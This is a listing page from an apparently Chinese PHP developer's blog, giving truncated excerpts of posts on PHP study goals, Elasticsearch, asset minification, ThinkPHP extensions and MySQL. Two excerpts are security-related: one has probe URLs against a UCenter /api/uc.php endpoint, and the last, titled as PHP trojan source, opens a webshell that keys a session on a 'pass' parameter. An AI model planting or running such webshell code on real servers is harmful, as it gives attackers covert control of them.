php进阶之路

  • kn
  • 2020-09-20 17:14:20
  • php
第一阶段学习目标1.掌握各类项目常用的设计模式,了解PHP开发规范丶项目设计技巧熟练掌握框架的核心原理2.了解Redis丶Memcache的应用场景,了解MySQL数据库架构优化3.熟练使用Linux,并熟悉常见软件编译(MyQSL/Nginx/Apache)和优化4.对OOA/OOD/OOP/AOP编程思路有一定理解5.熟悉常见的设计模式,能在项目中熟练运用,阅读框架底层源码第二阶段学习目标1.
阅读全文

es查询语法整理

  • kn
  • 2020-09-15 14:49:53
  • php
1.查询所有的文档get  /_search
阅读全文

利用minify减少请求

  • kn
  • 2020-08-17 15:13:01
  • php
1.composer require mrclay/minify2.cd /path/to/public_html mkdir min MIN=min/ MINIFY=vendor/mrclay/minify/ cp ${MINIFY}example.index.php ${MIN}index.php cp ${MIN
阅读全文

利用grunt插件来压缩js和css文件用来减少http请求,提高页面效率

  • kn
  • 2020-08-17 13:47:53
  • php
1.安装nodejshttp://nodejs.org/ 2.安装各自的node packagejs我用的是UglifyJS github地址:https://github.com/mishoo/UglifyJScss我用的是clean-css github地址:https://github.com/GoalSmashers/clean-css图片用的是node-smushit  &nb
阅读全文

centos elasticsearch 【2】安装插件

  • kn
  • 2020-07-02 22:08:00
  • php
1.2.
阅读全文

一些thinkphp拓展

  • kn
  • 2020-06-23 15:54:48
  • php
1.工作流 https://gitee.com/ntdgg/tpflow2.图片动态裁剪库 https://github.com/top-think/think-glide  类似阿里云oss
阅读全文

ubuntu编译安装php7.3.16

  • kn
  • 2020-04-02 15:51:27
  • php
1.
阅读全文

mysql A表中的字段与B表中的字段匹配处理

  • kn
  • 2019-11-28 17:22:05
  • php
mysql> select * from a1;+--------+| id ids|+--------+| 201401 123#456#234 || 201402 789#123#678 || 201403 321#234#789 || 201404 789#264#769 |+--------+mysql> select * from b1;+----+| id |+----+|
阅读全文

一些测试代码

  • kn
  • 2019-10-31 11:18:10
  • php
/api/uc.php?code=2f14996C3lB%2B0jY9Dlz63yCfdNDqev5na7CnSB5XJnGXJEqvfvPXe4UgA1nDCeaAQijaY6HMf%2FjswosgKaPPY2Hkjr544rtN9MZ1y2zr%2Bh0x1EAze6D6IJLdk4mf8o9gI1nyeUYEYKTiVsfys0jLDQOW/api/api_user.xml/api/cli
阅读全文

一种php木马源码

  • kn
  • 2019-10-31 11:00:16
  • php
3.1415926<?php @error_reporting(0); session_start(); if (isset($_GET['pass'])) {     $key=substr(md5(uniqid(rand())),16);     $_SESSION[&#
阅读全文